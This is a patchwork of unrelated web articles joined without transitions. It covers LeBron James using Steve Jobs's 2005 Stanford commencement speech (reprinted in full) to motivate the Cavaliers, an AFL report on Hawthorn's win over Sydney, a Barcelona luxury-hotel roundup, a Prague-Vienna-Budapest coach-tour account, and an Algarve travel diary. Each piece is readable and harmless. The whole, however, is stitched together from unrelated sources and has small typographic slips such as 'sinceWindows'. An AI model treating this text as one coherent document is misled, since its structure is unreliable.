Prior to Game 3, LeBron gathered the team in the locker room beforehand. And then he turned to what might seem an unusual source of inspiration: Apple founder Steve Jobs.

James played a portion of the speech Jobs delivered to the Stanford University graduating class of 2005.

It’s an amazing speech, and you can watch or read the whole thing below. But the part James played was about “connecting the dots,” the first of three stories Jobs told in the speech. The advice was do a lot of things that you’re interested in even if they don’t make sense at the time, carry the lessons you learn forward, and combine them to become a greater person in all parts of your life.

It worked. 

According to the report, the Cavs’ Richard Jefferson listened to the speech and reflected on how he was only in the Finals because he decided not to sign with the Dallas Mavericks over the off-season, even though the Mavs offered him more money. Kevin Love had been reading up on Jobs separately, and had recently ordered a t-shirt with the famous line from Jobs’ speech: “Stay hungry. Stay foolish.”

The Cavs dominated the Warriors in Game 3, before losing again in Game 4. Then, the team made history by winning the last three games — the first time in NBA history a team has won the Finals after being down 3-1 — and delivered the city of Cleveland its first major sports championship since 1964.

If you haven’t watched the Jobs speech, check it out here, or read the full transcript below.

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“I am honored to be with you today at your commencement from one of the finest universities in the world. I never graduated from college. Truth be told, this is the closest I’ve ever gotten to a college graduation. Today I want to tell you three stories from my life. That’s it. No big deal. Just three stories.

The first story is about connecting the dots.

I dropped out of Reed College after the first 6 months, but then stayed around as a drop-in for another 18 months or so before I really quit. So why did I drop out?

It started before I was born. My biological mother was a young, unwed college graduate student, and she decided to put me up for adoption. She felt very strongly that I should be adopted by college graduates, so everything was all set for me to be adopted at birth by a lawyer and his wife. Except that when I popped out they decided at the last minute that they really wanted a girl. So my parents, who were on a waiting list, got a call in the middle of the night asking: “We have an unexpected baby boy; do you want him?” They said: “Of course.” My biological mother later found out that my mother had never graduated from college and that my father had never graduated from high school. She refused to sign the final adoption papers. She only relented a few months later when my parents promised that I would someday go to college.

And 17 years later I did go to college. But I naively chose a college that was almost as expensive as Stanford, and all of my working-class parents’ savings were being spent on my college tuition. After six months, I couldn’t see the value in it. I had no idea what I wanted to do with my life and no idea how college was going to help me figure it out. And here I was spending all of the money my parents had saved their entire life. So I decided to drop out and trust that it would all work out OK. It was pretty scary at the time, but looking back it was one of the best decisions I ever made. The minute I dropped out I could stop taking the required classes that didn’t interest me, and begin dropping in on the ones that looked interesting.

It wasn’t all romantic. I didn’t have a dorm room, so I slept on the floor in friends’ rooms, I returned coke bottles for the 5¢ deposits to buy food with, and I would walk the 7 miles across town every Sunday night to get one good meal a week at the Hare Krishna temple. I loved it. And much of what I stumbled into by following my curiosity and intuition turned out to be priceless later on. Let me give you one example:

Reed College at that time offered perhaps the best calligraphy instruction in the country. Throughout the campus every poster, every label on every drawer, was beautifully hand calligraphed. Because I had dropped out and didn’t have to take the normal classes, I decided to take a calligraphy class to learn how to do this. I learned about serif and san serif typefaces, about varying the amount of space between different letter combinations, about what makes great typography great. It was beautiful, historical, artistically subtle in a way that science can’t capture, and I found it fascinating.

None of this had even a hope of any practical application in my life. But ten years later, when we were designing the first Macintosh computer, it all came back to me. And we designed it all into the Mac. It was the first computer with beautiful typography. If I had never dropped in on that single course in college, the Mac would have never had multiple typefaces or proportionally spaced fonts. And sinceWindows just copied the Mac, it’s likely that no personal computer would have them. If I had never dropped out, I would have never dropped in on this calligraphy class, and personal computers might not have the wonderful typography that they do. Of course it was impossible to connect the dots looking forward when I was in college. But it was very, very clear looking backwards ten years later.

Again, you can’t connect the dots looking forward; you can only connect them looking backwards. So you have to trust that the dots will somehow connect in your future. You have to trust in something – your gut, destiny, life, karma, whatever. This approach has never let me down, and it has made all the difference in my life.

My second story is about love and loss.

I was lucky – I found what I loved to do early in life. Woz and I started Apple in my parents garage when I was 20. We worked hard, and in 10 years Apple had grown from just the two of us in a garage into a $ 2 billion company with over 4000 employees. We had just released our finest creation – the Macintosh – a year earlier, and I had just turned 30. And then I got fired. How can you get fired from a company you started? Well, as Apple grew we hired someone who I thought was very talented to run the company with me, and for the first year or so things went well. But then our visions of the future began to diverge and eventually we had a falling out. When we did, our Board of Directors sided with him. So at 30 I was out. And very publicly out. What had been the focus of my entire adult life was gone, and it was devastating.

I really didn’t know what to do for a few months. I felt that I had let the previous generation of entrepreneurs down – that I had dropped the baton as it was being passed to me. I met with David Packard and Bob Noyce and tried to apologize for screwing up so badly. I was a very public failure, and I even thought about running away from the valley. But something slowly began to dawn on me – I still loved what I did. The turn of events at Apple had not changed that one bit. I had been rejected, but I was still in love. And so I decided to start over.

I didn’t see it then, but it turned out that getting fired from Apple was the best thing that could have ever happened to me. The heaviness of being successful was replaced by the lightness of being a beginner again, less sure about everything. It freed me to enter one of the most creative periods of my life.

During the next five years, I started a company named NeXT, another company named Pixar, and fell in love with an amazing woman who would become my wife. Pixar went on to create the worlds first computer animated feature film, Toy Story, and is now the most successful animation studio in the world. In a remarkable turn of events, Apple bought NeXT, I returned to Apple, and the technology we developed at NeXT is at the heart of Apple’s current renaissance. And Laurene and I have a wonderful family together.

I’m pretty sure none of this would have happened if I hadn’t been fired from Apple. It was awful tasting medicine, but I guess the patient needed it. Sometimes life hits you in the head with a brick. Don’t lose faith. I’m convinced that the only thing that kept me going was that I loved what I did. You’ve got to find what you love. And that is as true for your work as it is for your lovers. Your work is going to fill a large part of your life, and the only way to be truly satisfied is to do what you believe is great work. And the only way to do great work is to love what you do. If you haven’t found it yet, keep looking. Don’t settle. As with all matters of the heart, you’ll know when you find it. And, like any great relationship, it just gets better and better as the years roll on. So keep looking until you find it. Don’t settle.

My third story is about death.

When I was 17, I read a quote that went something like: “If you live each day as if it was your last, someday you’ll most certainly be right.” It made an impression on me, and since then, for the past 33 years, I have looked in the mirror every morning and asked myself: “If today were the last day of my life, would I want to do what I am about to do today?” And whenever the answer has been “No” for too many days in a row, I know I need to change something.

Remembering that I’ll be dead soon is the most important tool I’ve ever encountered to help me make the big choices in life. Because almost everything – all external expectations, all pride, all fear of embarrassment or failure – these things just fall away in the face of death, leaving only what is truly important. Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart.

About a year ago I was diagnosed with cancer. I had a scan at 7:30 in the morning, and it clearly showed a tumor on my pancreas. I didn’t even know what a pancreas was. The doctors told me this was almost certainly a type of cancer that is incurable, and that I should expect to live no longer than three to six months. My doctor advised me to go home and get my affairs in order, which is doctor’s code for prepare to die. It means to try to tell your kids everything you thought you’d have the next 10 years to tell them in just a few months. It means to make sure everything is buttoned up so that it will be as easy as possible for your family. It means to say your goodbyes.

I lived with that diagnosis all day. Later that evening I had a biopsy, where they stuck an endoscope down my throat, through my stomach and into my intestines, put a needle into my pancreas and got a few cells from the tumor. I was sedated, but my wife, who was there, told me that when they viewed the cells under a microscope the doctors started crying because it turned out to be a very rare form of pancreatic cancer that is curable with surgery. I had the surgery and I’m fine now.

This was the closest I’ve been to facing death, and I hope it’s the closest I get for a few more decades. Having lived through it, I can now say this to you with a bit more certainty than when death was a useful but purely intellectual concept:

No one wants to die. Even people who want to go to heaven don’t want to die to get there. And yet death is the destination we all share. No one has ever escaped it. And that is as it should be, because Death is very likely the single best invention of Life. It is Life’s change agent. It clears out the old to make way for the new. Right now the new is you, but someday not too long from now, you will gradually become the old and be cleared away. Sorry to be so dramatic, but it is quite true.

Your time is limited, so don’t waste it living someone else’s life. Don’t be trapped by dogma – which is living with the results of other people’s thinking. Don’t let the noise of others’ opinions drown out your own inner voice. And most important, have the courage to follow your heart and intuition. They somehow already know what you truly want to become. Everything else is secondary.

When I was young, there was an amazing publication called The Whole Earth Catalog, which was one of the bibles of my generation. It was created by a fellow named Stewart Brand not far from here in Menlo Park, and he brought it to life with his poetic touch. This was in the late 1960’s, before personal computers and desktop publishing, so it was all made with typewriters, scissors, and polaroid cameras. It was sort of like Google in paperback form, 35 years before Google came along: it was idealistic, and overflowing with neat tools and great notions.

Stewart and his team put out several issues of The Whole Earth Catalog, and then when it had run its course, they put out a final issue. It was the mid-1970s, and I was your age. On the back cover of their final issue was a photograph of an early morning country road, the kind you might find yourself hitchhiking on if you were so adventurous. Beneath it were the words: “Stay Hungry. Stay Foolish.” It was their farewell message as they signed off. Stay Hungry. Stay Foolish. And I have always wished that for myself. And now, as you graduate to begin anew, I wish that for you.

Stay Hungry. Stay Foolish.

Thank you all very much.”

Matt Rosoff contributed to this post.

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Jarryd Roughead of the Hawks celebrates.

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A clutch captain’s goal from Jarryd Roughead delivered Hawthorn a six-point win over AFL rivals Sydney on Friday night at the SCG.

Roughead converted his set shot with 80 seconds remaining as the Hawks triumphed 12.9 (81) to 11.9 (75).

The visitors looked to be on track for a more-comfortable victory earlier in the game, but the Swans launched a barnstorming comeback during the third quarter.

Sydney led by seven points late in the final term after kicking five consecutive goals, a run that Lance Franklin started with a trademark showstopper from outside the 50m arc.

Shaun Burgoyne, who slotted his second astonishing goal of the night, and Roughead ensured there was one final twist.

Franklin, who booted five goals, was awarded the Goodes-O’Loughlin medal for best on ground.

Franklin and Burgoyne were both wearing No. 67 to recognise the 50th anniversary of the referendum that was a landmark achievement for indigenous Australians. Both stepped up superbly in indigenous round.

Lance Franklin of the Swans celebrates after scoring a goal.

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Franklin moves to 10th on the list of VFL/AFL goalkickers after lifting his career tally to 819.

Franklin also dished off a handful of goals, while his pressure acts were also influential in the Swans’ stirring third-quarter fightback.

The Swans, coming off consecutive six-day breaks, rallied despite having only two fit men on the bench.

Jake Lloyd was knocked out early in the first quarter, while Sam Reid also failed a concussion test after being slung to the ground by Burgoyne during the second term.

It was a spiteful match, with Sydney’s Zak Jones among many players from both sides to sweat on the match review panel’s findings.

Dan Hannebery and Josh Kennedy tallied a combined 68 disposals for the Swans, while Liam Shiels laid 10 tackles and had 31 possessions for the Hawks.

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Barcelona is never out of the top five holiday destinations for Brits, but why do we always do it on the cheap? Why do we go for a bargain hotel or an Airbnb and some patatas bravas on the street when we could be staying in some of Europe’s loveliest hotels?

Take the Mercer. Hidden in the tight streets of the Gothic Quarter, between the Picasso Museum and the cathedral, it’s a hotel built on Roman walls from the first century AD that, for all its chic, modern, five-star atmosphere, has the feel of a medieval palace, with a light-filled central courtyard of orange trees and bare stone walls, albeit with contemporary furniture and superstar chefs. It’s not only a gorgeous place to stay – and less than half an hour from the beach – but slap bang in the middle of the historic centre.

Or Cotton House Hotel, a 19th-century mansion in the heart of the Parisian-feel Eixample area, where the building’s history as former headquarters of the booming cotton industry is still plain to see in the grand salons and stairways. The terrace is now an outdoor space for Batuar, perhaps the most beautiful cocktail bar and restaurant in town, with sparkly delicate decorations that hark back to the history of the gorgeous building.

If you really want to ramp it up to international jet-set levels, there’s the Mandarin Oriental on the historic Paseo de Gràcia, opposite architect Antoni Gaudí’s dragon-like Battló, which you can inspect as you have cocktails and ceviche by the pool on the beautiful roof terrace. Here, huge stunning suites cost more than £5,000 a night and the two-Michelin-star restaurant Moments and the “sea bistro” Bistreau serve dishes such as pulled tuna and a risotto cooked with plankton.

And while you might have been to the Picasso Museum down in those narrow streets of the Gothic Quarter, go a few streets further down to the Old Port and you can stay in the 19th-century building where Picasso had his first studio, now The Serras, a chic five-star boutique hotel overlooking the port where you can tuck into food created by Michelin-starred chef Marc Gascons.

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If you do want to take things a bit funkier – and this is very much a party town – try the Barceló Raval, a futuristic mesh-clad landmark in the middle of the historic literary district of the Raval, just a hop and a skip from the famous Las Ramblas. Here it’s all quirky art, space-age rooms and a rooftop bar with perhaps the most jaw-dropping views in town, from the sea to the mountains. Go for a cocktail even if you’re not staying and don’t forget your camera, as it’s selfie heaven up there.

Barcelona is a city that’s changing all the time (even the Sagrada Família cathedral is moving towards Gaudí’s original vision), so it deserves regular visits. Even if you can’t afford a whole week at one of its landmark hotels, treat yourself to a night.

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Nightly rates for rooms at the Mercer Hotel Barcelona (mercerbarcelona.com) start at £390 (450 euros), at Cotton House Hotel (hotelcottonhouse.com) £217 (250 euros), at the Mandarin Oriental (mandarinoriental.com) £369 (425 euros), at Barceló Raval (barceloraval.com) £108 (125 euros) and at The Serras Hotel (hoteltheserrasbarcelona.com) £256 (295 euros) per night.

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Prague, Vienna and Budapest

My head is reeling from the history and my neck is aching from looking up at the stunning architecture. Fortunately all the hard work was done for me on my recent tour of Prague, Vienna and Budapest, all I had to do between sightseeing excursions was to sit back on the coach, relax and enjoy myself.

In Prague, I stayed in the Hotel International. Built when the nation was under Communist control, there’s nothing basic about the hotel now, and from its luxurious interior I set off on a guided walking tour of the city. Highlights included the 15th-century astronomical clock in the Old Town Square, Prague Castle and the magnificent Gothic St Vitus Cathedral, the Charles Bridge and the eye-popping art deco architecture in the Jewish quarter. I also loved the historic Café Louvre, where Albert Einstein and Franz Kafka would visit for coffee and cake.

The next stop was Vienna, where the local guide showed us the imperial Hapsburg palaces – the Hofburg and the Schönbrunn, both displaying the dazzling power of the dynasty, which ruled most of Europe, plus the incredible Vienna Riding School.

Vienna is a very walkable city, and its splendid streets, full of Gothic, baroque and Art Deco architecture offer something for everyone. There’s a great selection of shops on busy Kärtnerstrasse and once laden with shopping bags, visit the Hotel Sacher, home of the famous rich chocolate Sachertorte. 

The magnificent spire and colourful patterned roof of St Stephen’s Cathedral dominate the city, as does composer Johann Strauss, whose statue is one of the most visited sites. The tour offers a spectacular concert in the city centre. Art fans, meanwhile, will enjoy the fabulous Albertina museum.

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From Vienna, we drove southeast to the Hungarian capital, Budapest, known as the pearl of the Danube. On a beautifully sunny day, it was absolute heaven to enjoy the panoramic view of the river and city from the terrace of the Fisherman’s Bastion, accompanied by a violinist and guitarist playing jazz. 

When the sun went down, I took a dinner cruise along the Danube with stunning views of the city. The huge Parliament building, with its magnificent dome, rises up on the banks of the river, and the four-course meal – accompanied by the local speciality of Tokaji white wine – was equally magnificent.

The tour I took was part of a bigger one that also takes in Munich, Nuremburg and Salzburg. It’s perfect for anyone who wants to take in all these major cities in nine days, and who would like to do it with as little hassle as possible. But there’s plenty of opportunity to explore the cities under your own steam. And you’ll enjoy so much cake that you’ll be very grateful of a coach to transport you from location to location.

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Cosmos Tours & Cruises offers a nine-day escorted tour of Prague, Vienna and Budapest from £859pp, which includes a private home pick-up service (within 50 miles radius of UK departure airport), return flights, eight nights’ bed and breakfast, some meals, guided excursions and overseas transfers. Christmas market departures are available in December. For more details, call 0800 440 2797 or visit cosmostoursandcruises.co.uk.

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Stunning sights in the Algarve include Falésia beach

Algarve, Portugal

On the southern tip of Portugal, the Algarve is known for its warm climate, beautiful beaches and great golf courses, but my trip was to experience some of its lesser-known delights.

For my five-day visit, I stayed in two hotels – Vila Vita Parc, a 22-hectare cliff-top resort in Porches, and Epic Sana, a modern five-star hotel overlooking Falésia beach in Albufeira. Both were stunning inside and out.

From Epic Sana, I took a helicopter ride along the Atlantic coast, taking in incredible views of the landscape including Cape St Vincent – once the end of the known world – arriving at the Autódromo Internacional do Algarve. This racing circuit has hosted Formula 1 testing, the World Superbike Championship and the new blockbuster show from the former Top Gear trio, The Grand Tour, and I was there for the driving school. 

I’m not much of a petrolhead, but to speed round the track driven by a professional driver in an Audi TT was one of the most thrilling experiences of my life. Sadly, the same couldn’t be said when we swapped seats, as my Sunday-style driving came second last on the day’s leader board. 

I was much more at home in a Porsche 911 when I tried “drifting” on a large circular track sprayed with water. Screeching round doing one long circular skid was a white-knuckle ride to remember. More speed thrills are to be found on an Extremo Ambiente jeep safari, but of a much bumpier kind over picturesque mountain tracks and across riverbeds in a Land Rover. 

A smoother way to get around is by taking a Segway tour. I took mine round the historic port of Lagos. It takes a while to get your balance, but it’s a fun and surprisingly safe-feeling way to travel. I also got the chance to see the ornate interior of the Santo António church along the way (sans Segway). 

An interior just as fascinating but with far more hustle and bustle was found at Loulé market. I was there to pick up the ingredients to make the Portuguese national dish cataplana – a delicious seafood stew. That was part of a cooking workshop at the Tertúlia Algarvia restaurant, and the results – even though I say so myself – were delicious.

If you prefer someone else to do the cooking, the region offers an impressive range of restaurants. On the more traditional side are the Veneza, which specialises in Portuguese wine, and Jorge do Peixe, a fabulous little seafood restaurant in Quarteira. Both serve authentic fare and are packed with locals.

If you’re after more high-end cuisine, I recommend dining at the historic Bela Vista hotel in Praia da Rocha and the two Michelin-starred Ocean restaurant at Vila Vita Parc.

The last visit of my trip was to Zoomarine. Now in its 25th year, the park offers a mix of water-based thrills and encounters with aquatic animals. I was there for the Dolphin Emotions experience, so I donned a wetsuit and got into a seawater pool with two well cared for dolphins. I was spun around by and stroked these amazing animals, then I sealed my experience with a dolphin kiss – the perfect way to remember the amazing Algarve.

Neil Porter

Neil was a guest of the Algarve Tourism Bureau and partners. For more information about the Algarve, visit visitalgarve.pt and algarvepromotion.pt.

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